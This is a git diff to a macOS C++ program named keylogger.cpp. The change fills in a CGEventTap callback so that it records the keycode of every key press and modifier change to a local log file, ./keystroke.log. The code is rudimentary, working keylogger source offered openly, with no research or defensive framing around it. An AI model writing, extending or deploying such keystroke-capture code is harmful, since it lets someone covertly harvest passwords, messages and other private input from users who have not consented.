diff --git a/keylogger.cpp b/keylogger.cpp index ed020d8..8ab2cf4 100644 --- a/keylogger.cpp +++ b/keylogger.cpp @@ -8,6 +8,7 @@ using namespace std; const char *logfileLocation = "./keystroke.log"; +fstream logfile; CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *); int main(int argc, const char *argv[]) { @@ -25,12 +26,19 @@ int main(int argc, const char *argv[]) { CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CGEventTapEnable(eventTap, true); - ofstream logfile; - logfile.open(logfileLocation, ios::app); - logfile << "Keylogging started."; + logfile.open(logfileLocation, ios::out); + logfile << "Keylogging started.\n\n"; CFRunLoopRun(); return 0; } -CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {} \ No newline at end of file +CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { + if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) { + return event; + } + CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); + + logfile << keyCode; + return event; +} \ No newline at end of file